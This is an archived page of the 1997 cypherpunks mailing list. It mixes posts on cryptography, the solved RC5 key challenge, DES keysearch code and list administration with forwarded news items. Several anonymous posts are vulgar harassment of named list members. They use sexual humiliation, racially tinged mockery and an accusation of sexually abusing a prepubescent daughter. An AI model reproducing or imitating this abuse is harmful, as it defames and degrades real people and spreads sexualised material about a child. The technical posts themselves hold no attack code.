Tim C. Mayonnaise sits at his terminal dressed in five-inch stiletto heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a black man responds to one of his inane rants. \\\ (0 0) _ooO_(_)_Ooo____ Tim C. Mayonnaise

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[CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE
by Brian D Williams 17 Dec '03

17 Dec '03

FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 - 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute. reposted from cryptography(a)c2.org Brian

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BCQ B/\ACTb COBKAM!!!
by Secret Squirrel 17 Dec '03

17 Dec '03

COBKU rule!!!

2 1

Re: RC5-12/32/6 contest solved
by Peter Trei 17 Dec '03

17 Dec '03

> From: Germano Caronni <caronni(a)tik.ee.ethz.ch> > Date: Mon, 10 Feb 1997 18:52:23 +0100 (MET) > To: crypto-challenge(a)rsa.com > Cc: gec(a)acm.org, challenge(a)tik.ee.ethz.ch, coderpunks(a)toad.com > Subject: RC5-12/32/6 contest solved > challenge: RC5-32/12/6 > solution: 74 a3 53 cc 0b 19 > name: Germano Caronni et al. > address: Germano Caronni > Talstrasee 7 > CH-8102 Oberengstringen > (Switzerland) > email: gec(a)acm.org > phone: +41 1 6327006 > time: from start of contest until Mon Feb 10 18:52:23 1997 > method: again, massive distributed coordinated keysearch > done: Congratulations! This is the longest symmetric key ever brute forced in public. Now, onto cracking DES, which is probably easier than 56 bit RC5. I have NT/Win95/(portable C) code and executables available to US/Canadian citizens in the US/Canada. If you want a copy (I'm up to version 0.6, a late beta), then send ptrei(a)acm.org your: 1. Real name and residence address. 2. A statement that you are aware of and will abide by the US/Canadian export regulations. 3. A statement that you are a US/Canadian citizen, or a US Green Card holder. 4. The email address to which to send the software. I will hold this information in confidence. Peter Trei trei(a)process.com

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smart cards
by nobody＠wazoo.com 17 Dec '03

17 Dec '03

Dr.Dirtbag Vinegar K]rud[OfTheMoment's obsessive masturbation has lead to advanced degree of blindness and hairy palms. o \ o / _ o __| \ / |__ o _ \ o / o /|\ | /\ ___\o \o | o/ o/__ /\ | /|\ / \ / \ | \ /) | ( \ /o\ / ) | (\ / | / \ / \ Dr.Dirtbag Vinegar K]rud[OfTheMoment

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sci.crypt archive?
by phr＠netcom.com 17 Dec '03

17 Dec '03

Is anyone on cypherpunks archiving sci.crypt? I'd be interested in getting hold of some articles from some years back... thanks

2 1

this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

As of sometime in the last 96 hours I have been forcefully unsubscribed from this list. This action was not of my free will and not one that I think was perpretrated by those in charge of the list. (I got a response from majordomo concerning who was on and my name wasn't) As I have heard from, and replied to some, others who were forcefully subscribed to cypherpunks, I can only assume that this is part of the same campaign. Please send me any copies of majordomo activity involving my address that was sent in the last 96 hours so that I can determine the culprit myself. I had no intention of removing myself from the list and intend to maintain a member, at least until a superior system with sufficient load is developed. As I just now resubscribed to the list (unedited, although I know that the moderation experiment has ended), I may not see any immediate replies, so please cc me. As to my check with majordomo, I was not checking to see if I had been unsubscribed, but to see if the unedited list still existed. since I stopped receiving mail shortly after, I assumed, falsely, that the unedited list subscribers had been merely dropped.

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Re: this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

At 03:00 PM 2/10/97 -0800, I wrote: >As of sometime in the last 96 hours I have been forcefully unsubscribed from >this list. This action was not of my free will and not one that I think was ... I forgot to check my mail before sending this. This is not to say that there was mail there, merely that eudora verifies mail by password. Since I had not checked my mail, the last message was unverified. This is to verify it. I sent it, I admit it.

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Teledesic Looks At SS-18's
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: investor(a)LunaCity.com To: "Space Investors Mailing List" <space-investors(a)LunaCity.com> From: Michael_Wallis(a)sec.sel.sony.com Reply-To: "Space Investors Mailing List" <space-investors(a)LunaCity.com> Date: Mon, 10 Feb 1997 11:59:44 -0800 Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA Subject: Teledesic Looks At SS-18's X-Mailserver: Waffle File Server (WFS), Release 3.2.ag X-Article: 285 Teledesic Might Launch With Converted SS-18s Teledesic Corp. is talking with a newly formed Russian-Ukrainian group about launching up to 204 Teledesic satellites into low Earth orbit aboard converted SS-18 missiles. The Dnepr rocket is backed by the Russian and Ukrainian governments. Their space agencies are partners in a joint-venture company to sell commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye State Design Bureau are marketing the Dnepr. Teledesic, a U.S. telecommunications company, plans to place about 900 satellites in space. Michael ------------------------------------------------------------------------- Michael Wallis, Computer Consultant Work: mwallis(a)sec.sel.sony.com http: //www.wallis.com/ Home: mwallis(a)wallis.com --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/

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Re: this has gone on long enough
by John Gilmore 17 Dec '03

17 Dec '03

Sean Roach said: > As of sometime in the last 96 hours I have been forcefully unsubscribed from > this list. This action was not of my free will and not one that I think was > perpretrated by those in charge of the list. Everybody relax, take a deep breath, and calm down a bit. Paranoia seems epidemic on the list these days. I removed your address from the mailing list because it was producing a bounce message for every message to cypherpunks. I regularly remove addresses when this occurs; the alternative is to receive thousands of bounce messages each day from non-working addresses. I'll append the set of addresses that I removed on the same day as you, for your edification. I'll also enclose one of the bounces. If you fix your mail so it doesn't bounce, you are welcome to re-subscribe. John Gilmore 1997/2/9 - gnu - bounces snowdog(a)iconn.net (cp-ann) se03565(a)els.url.es (cp-ann) drjarmon(a)ingr.com (cp-ann) ycz(a)alpha4.cs.nthu.edu.tw yu123110(a)yorku.ca bishop.trish(a)sympatico.ca 106076.1155(a)compuserve.com (by request) security(a)harter.pg.md.us omega(a)bigeasy.com roach_s(a)alph.swosu.edu (cp-unedited) lupus(a)hempseed.com (cp-ann) THRPWC(a)smtpgate.lfwc.lockheed.com al.tan(a)usa.net vickeryk(a)tyrell.net crash(a)eramp.net phreaker(a)scholars.bellevue.edu alexc(a)firefly.net malaficia(a)mindspring.com BadAppleDH(a)aol.com otsge_mail(a)usa.net (for bounces re mecca_inc(a)msn.se) under(a)ground.net >From MAILER-DAEMON Sun Feb 9 20:03:36 1997 Received: from alph.swosu.edu (alph.swosu.edu [164.58.32.9]) by toad.com (8.7.5/8.7.3) with SMTP id UAA17045; Sun, 9 Feb 1997 20:03:33 -0800 (PST) Message-Id: <199702100403.UAA17045(a)toad.com> Date: Sun, 9 Feb 1997 22:03:48 -0600 (CST) From: Postmaster(a)alph.swosu.edu Subject: Undeliverable Mail To: <cypherpunks-errors(a)toad.com> Bad address -- <roach_s> Error -- Message too old: %MAIL-E-SENDERR, error sending to user ROACH_S -MAIL-W-WRITEERR, error writing DKA0:[STDUSERS.ROACH_S]MAIL.MAI -RMS-E-EXT, ACP file extend failed -SYSTEM-F-EXDISKQUOTA, disk quota exceeded -PLI-F-NOMSG, Message number 001EBB8C Start of returned message Received: from toad.com by alph.swosu.edu with SMTP; Sun, 9 Feb 1997 18:03:43 -0600 (CST) Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA11855; Sun, 9 Feb 1997 15:55:29 -0800 (PST) Received: from mail.pacifier.com (root(a)mail.pacifier.com [199.2.117.164]) by toad.com (8.7.5/8.7.3) with ESMTP id PAA11850; Sun, 9 Feb 1997 15:55:26 -0800 (PST) Received: from ip250.van8.pacifier.com (ip250.van8.pacifier.com [206.163.4.250]) by mail.pacifier.com (8.8.5/8.8.4) with SMTP id PAA12294 for <cypherpunks(a)toad.com>; Sun, 9 Feb 1997 15:55:23 -0800 (PST) Message-Id: <199702092355.PAA12294(a)mail.pacifier.com> X-Sender: jimbell(a)mail.pacifier.com X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 09 Feb 1997 15:53:43 -0800 To: cypherpunks(a)toad.com From: jim bell <jimbell(a)pacifier.com> Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd) Sender: owner-cypherpunks(a)toad.com Precedence: bulk I'm forwarding this from the commonlaw list because of the usage of the name, "cypherpunks." ...

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PRNG
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Here, Timmy Mayo descends into total inanity. He should have a cold shower and/or a Turkish coffee. ---- '@ *> Timmy Mayo |\ 7 / `-- _

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Re: this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

At 04:42 PM 2/10/97 -0800, John Gilmore wrote: >Sean Roach said: >> As of sometime in the last 96 hours I have been forcefully unsubscribed from >> this list. This action was not of my free will and not one that I think was >> perpretrated by those in charge of the list. > >Everybody relax, take a deep breath, and calm down a bit. Paranoia seems >epidemic on the list these days. > >I removed your address from the mailing list because it was producing >a bounce message for every message to cypherpunks. I regularly >remove addresses when this occurs; the alternative is to receive >thousands of bounce messages each day from non-working addresses. >I'll append the set of addresses that I removed on the same day >as you, for your edification. > Thank you for the explanation. I had discounted this as a reason as I normally get some warning from the VAX before something like this would be a threat. (My mail won't compress and I have to go in and do it manually.) I had assumed that since I had no trouble with compression that that wasn't the answer. I apologise for jumping to conclusions and I hope that I can check my mail more often. (Only a real hassle during weekends when I am called home from school.) Thanks again for the reassurance. BTW, now that the moderation experiment is over, how do you intend to integrate the lists? Are you going to combine them? Are you going to run them through a filter to eliminate duplications? Are you going to give any warning before the unedited list is eliminated? (no longer needed, since the main list is now a duplicate.) Thanks again, I am naturally suspicious. That's "one" of the reasons that I subscribed to this list to begin with.

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Interesting Survey on Computer Security
by Derrick Storren 17 Dec '03

17 Dec '03

This artilce has some interesting info on how bad infosec on the web is. <http://www.infowar.com/infosec/introduction.html> ---DS

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40-bit encryption keys
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Derogatory L[oathe] Vilus K[ankersore] Of The Minute will fuck anything that moves, but he'd rather be fucking his own daughter's prepubescent body. \ o/\_ Derogatory L[oathe] Vilus K[ankersore] Of The Minute <\__,\ '\, |

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ping
by Lucky Green 17 Dec '03

17 Dec '03

ping -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi

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[Fwd: FWD Adm Humor]
by Toto 17 Dec '03

17 Dec '03

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Consumer Privacy URL...
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Forwarded message: In> Subject: Consumer Privacy Online In> The January issue of the Computer Law Observer discusses privacy of In> online consumer information. The article is called "Your clickstream In> is showing" and is based upon a report issued by the FTC in January. In> The article can be found under "Current Issue" at In> http://www.lawcircle.com/observer In> There is also an announcement at the site for a new weekly service In> called the Computer Law Observerpro, which provides selected weekly In> articles discussing computer, technology and cyberlaw issues. Ciao Harka ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv678jltEBIEF0MBAQE8LAf+NljN3C5JOG3ZF+ugZFWMeLtvu2fTmJPb 32s9VXgg82XdeP1QlEZVtfjHQSznCUCy+7BVAqAera38r6sY6cQzPSqA4nM2vQzH jSahFxXH07zFJ3SRPccTB1QnIm2fcoz7f3u+Y0qFTU+y1arsBCSwl/AFtip4ShtQ jU1zGNnzGMCpxWLJ2gzXkZLAUSZ/RTpph72ByTi3mwczo7hu5I2KCFWrvMSSlxMS FZEZa3EyOatvrmAD2MSWd3lUKL5ubkwfd717V/Hb5zn7UW4Ri4wDohcxR4zxYnm/ 36euGJNrM0aY/CFDu75KNgJiRXc4TDpiFuNYzsnOOeK490xVSSDEHw== =Y0C2 -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

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Cryptography WWW Siteguide wanted.
by Carol Anne Cypherpunk 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- The Mining Co. (http://www.miningco.com) is looking for "siteguides". There will surely be a guide needed for cryptography. Pay is commensurate with hit volume, but it isn't too shabby, at about 3K per month after about a year. There is the original posting from Sideman's Online Insider following this post to acquaint you with the particulars. Good Luck to whomever from this list (for I'm sure someone will) takes the aformentioned position. I would, but I'm applying for a different site in the Culture/Beliefs section. On one other note, the PGP Plugin for Eudora is MARVELOUS! THIS I can even teach a clueless newbie! Carol Anne Cypherpunk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Uncensored from heavily.censored.org iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8 q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI i962UdPbyVs= =69D8 -----END PGP SIGNATURE----- ========================================================================== Seidman's Online Insider - Vol. 4, Issue 6 Brought to you by NetGuide Magazine< http://www.netguide.com > ========================================================================== Copyright (C) 1997 Robert Seidman and CMP Media Inc. All rights reserved. May be reproduced in any medium for noncommercial purposes as long as attribution is given. Kurnit is Back and Mining the Internet ====================================== "Like Arnold, he'll be back. I've been listening to what he has to say for a long time. If you listen to him, you'll hear how the Web is the way and that the proprietary services are a dead model. If you listen between-the-lines, you'll hear a modified version of that vision. A best of both worlds vision. You'll hear that he wants to develop easy to use, functional services on the Web. Like easy to use chat. Like easy to use bulletin boards. Like AOL, but on the Web." -Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp joint venture from Seidman's Online Insider for the Week Ending February 9, 1996. Kurnit's back, and almost exactly a year to the day since the clip above was written. On Monday February 10, the new company Kurnit founded, The Mining Company, will announce their plans to basically build AOL on the Web. I'm not sure about the choice of February 10 as the day to announce this. It is a day with special significance for me. On February 10, 1972 I had a dilemma. I was hungry for breakfast and wanted some cereal. I had cereal, but no milk. So I called my mom at work and asked her if I could run across the street to the convenience store. My mom said no because "the street" was more like a highway and because I was 9 years old. "You'll get hit by a car," my mom said. As you might imagine, I went anyway. And as you also might have guessed by now my mother was right, except no car was good enough for me. I had to face off with a ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.) Twenty-two stitches in the head, a healed broken wrist and 25 years later, I'm still hanging in there. I don't remember anything about it, including seeing the truck. I've always wondered if I was pushed. What I do remember was waking up in the ambulance with quite a headache. But since then, seeing how I lived and all, I've always viewed February 10 as a GOOD day. The Mining Company may not be a truck setting its sights on running down AOL or even other Web content aggregators (even to some degree NetGuide Live), but it is an interesting model. *What It Is* In effect, The Mining Company wants to be the biggest online service on the Web, ultimately offering 4,000 special-interest areas in an integrated, easy-to-use interface. Whether you call these special areas channels, departments or categories -- it's all the same thing. Kurnit wants to capitalize on the fact that it takes too long to find what you want on the Net. He wants to put it all in one place with one consistent interface so that you can easily find what you're looking for and interact with those who have common interests. Each "channel" will have content, bulletin boards, online chats, links to other good stuff on the Web in the particular area of interest. You'll also be able to search a site via Verity's search engine or search the entire Net via Digital's Alta Vista. While they are currently testing another chat product, they have decided to move to the iChat chat client. In the test system I had access to, the bulletin board system was very easy to use, but painfully slow. I'll cut them some slack since they are still in beta, but users will need to be able to move around the boards quicker than what I experienced or they will likely be put off. *And Now for Something Really Different* When Kurnit first ran the vision by me a couple of weeks ago, I said "To me it seems like this is..." "AOL on the Web," Kurnit interrupted. "Not exactly," I said, "It's like AOL on the Web with a hint of Amway thrown in." One of the problems with providing editorial context for the Net is that it winds up costing a lot of money. Kurnit's previous venture with MCI/Newscorp was iGuide. They built a great guide to the Net, but ultimately they scaled it back to just become a guide to entertainment on the Net. You've read the reports all over the place about scaled back editorial efforts and rightsizing. Good editorial doesn't come cheap, at least not when done traditionally. The Mining Company isn't going after the traditional model of hiring a bunch of full-time editors and bringing them in house. They plan to use folks already out there on the Net. Once upon a time while I was at IBM, I helped recruit Chris Locke, of MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was running. While there are many things Chris and I do not agree on, I was very much in synch with Chris when it came to the idea of communities of interest on the Web. Give remote people the tools to produce the content, Locke would say, and you'd be able to easily build hundreds if not thousands of communities of interest very inexpensively. Locke who is now with a hardware company in Colorado will no doubt take interest in what Kurnit and the gang at The Mining Company are up to, because they are all about providing the tools to produce the communities of interest inexpensively! If your chosen as one of its forum moderators (they call them Guides), you'll be given access to all the tools you need to build a site on the service. Now you may be thinking, "Ah, GeoCities does that already!" GeoCities < http://www.geocities.com > gives free web pages and is organized around certain communities of interest. But their homesteader program is not about setting up an all-encompassing online service. And while it is a great place to create a free web page, there's no real business model for the person creating the page. If you build a great site there, GeoCities gets the revenue on all the traffic that goes there. Because it has a lot of traffic, GeoCities can send some traffic to your Web site. But in the end, the model for GeoCities is one to give you a free page on the Web. This is good for you if you're just in it for the fun of it, and good for GeoCities too. I think GeoCities is great, but if I am looking for something in particular, I wouldn't think to look there first. The Mining Company wants to create a space that no matter what it is you hope to find, you'll look there first. *They Call them Guides* The Mining Company wants to create quality communities of interest. And for every community (channel) created, there will be a unique moderator/editor. The Mining Company calls them Guides. It's looking for more than just a few quality folks to become Guides and form their service. Starting Monday, they will begin accepting applications to become Guides on the service. There could be multiple sites about the same thing during the start-up phase, but ultimately it will be whittled down to one Guide/site per special interest. To ensure quality, they'll be a review committee set-up to make sure quality standards are up to snuff, including some folks from the community of Guides. Kurnit believes between that, the natural inclination for other Guides to point out areas of, um, weakness and user feedback, they'll have a good handle on quality. Additionally, there will be some in-house editorial to oversee major groupings (like Technology, Personal Finance, etc.) "The Mining Company is dedicated to serving the needs of its Guides and users," said Kurnit. "We give the tools and support to the Guides to help users find what they want, trust what they find, and connect them with the most valuable sites on the Net and with other interesting people." "This model is now only possible because of the team effort at The Mining Company to integrate the latest improvements in Internet technology and the newly identified needs of users and independent Web producers," adds Kurnit. *Getting the Guides* Will it be easy to get the ultimately thousands of Guides necessary to run this service? "How much talent is out there," asks Kurnit. "We look at the thousands of pages out there on AOL, GeoCities, etc., and the rest of the Internet," Kurnit said. "All we think we need to get is 2%-3% of the talent pool." In certain areas it will likely be very competitive. Everyone will want to get there first. "First there's the application process," said Scott Kurnit in a phone Interview. "You're going to show us your bio and you're going to write some columns so we can see your writing style. If you make the grade, you make it to our orientation process," Kurnit said. The Mining Company places its focus on training the Guides and giving them the tools they need to make a site. If you "make the grade" you basically have 3 weeks (2 of which are the "orientation") to get a site up-and-running on the service. "The fact is, if you can't get it done in a reasonable time then you probably don't have the dedication or time to get it done," says Kurnit. Just how much time will it take for Guides to put together sites? "We're not looking for anyone to quite their day jobs," said Kurnit. "We're looking at about a 10 hour a week commitment to produce the sites." But Kurnit also says that though there will be only one Guide per site, the Guides will be able to line up assistants. *What's in it for You?* So why The Mining Company then? Why not GeoCities or doing it on your own? Well, there are a couple of reasons. One is the promise of exposure, the other is the promise of MONEY. There is a model here, especially if you're not looking to quit your day job. While I imagine it will have to shift its model somewhat, there are some opportunities to make a buck or two for the Guides. It might not be much money, but if you're already throwing 10 hours or so a week towards maintaining a Web page that lines up around a special interest or two, any money is better than what you're probably getting now. Basically, The Mining Company is looking to allocate 40% of all advertising revenues back to the Guides themselves. The real pool here is 30%, with the additional 10% being used for things like bonuses. So, how does it work? Kurnit is looking to get quickly to a million or so page views a day (each of the pages I saw had 2 advertisements. By the end of the year, Kurnit hopes to be in the 10 million - 15 million page views. It sounds a little ambitious, but if they're successful lining up quality Guides, it could become a reality. So let's say they're getting 5 million page views per day. Based on what I saw, that would net out to be about 300 million ads running per month. Lets say ad sales average out to $30/1000 (a $30 CPM). Based on that, you're looking at a cool $9 million a month in advertising revenue. So $3.6 million is in the Guide pool, but only $2.7 million is for the true revenue split. Now, let's say you're a Guide who got one-tenth of 1 percent of The Mining Company's overall traffic. You'd make a cool $2,700 a month for your efforts. If you happen to be a guide in one of the "killer categories" whether it be a parents site or a kids site or a computing site, it's not unreasonable to think that you might get as much as 1%. That would be $27,000 per month!! Some people will balk at the 40%-60% share, but I think that's pretty fair. Where I'd predict the model will have to change, however, is in the cases where the cost per thousand (CPM) view being charged the advertisers is much higher than the average of the overall site. If the overall site average is $30/1000, but your site is generating a CPM of around $90, you're probably not going to want to be paid based on averages. *Will it Work?* In short, I think this could work quite nicely. The premise of a front door that links to content that is all packaged with a consistent look and feel is a winning premise. With AOL's recent move to flat-fee, one big advantage a Net service has over a proprietary model like AOL is the ability to create content far more easily and inexpensively. Much coverage has been given this week regarding AOL beginning to charge its partners in its Company Connection a $55,000 fee each year to participate. Some in AOL are saying its reasonable since the areas amount to "free" advertising for the companies, but realistically speaking, I think it is a maintenance fee AOL is charging to offset the cost of dealing with these forums. I think it is reasonable to expect to see AOL begin to charge similar fees for any content that isn't "must have" for them, now that the hourly charges that once subsidized these areas are gone. There is a cost of throwing in-house support at these online areas and much of the cost is due to the fact that it's a proprietary system. Setting up new "forms" and new looks just isn't easily accomplished by the content providers themselves. So, the timing may be good for The Mining Company. There are at least two tricks Kurnit and Co. must pull off. First, they have to get the Guides. That starts on Monday, when they begin accepting applications. The next will be to market the site in a way that gets people to the front door. Internet of the people, for the people and by the people, it has a nice ring to it... I'm sure we'll hear more about this when the site officially launches in April. For more info, check out < http://www.miningco.com >, sometime on Monday, they will make a lot more information available there than the "coming soon" that was there as of this writing. Member Internet Society - Certified BETSI Programmer - Webmistress *********************************************************************** Carol Anne Braddock (cab8) carolann(a)censored.org 206.42.112.96 My Homepage The Cyberdoc ***********************************************************************

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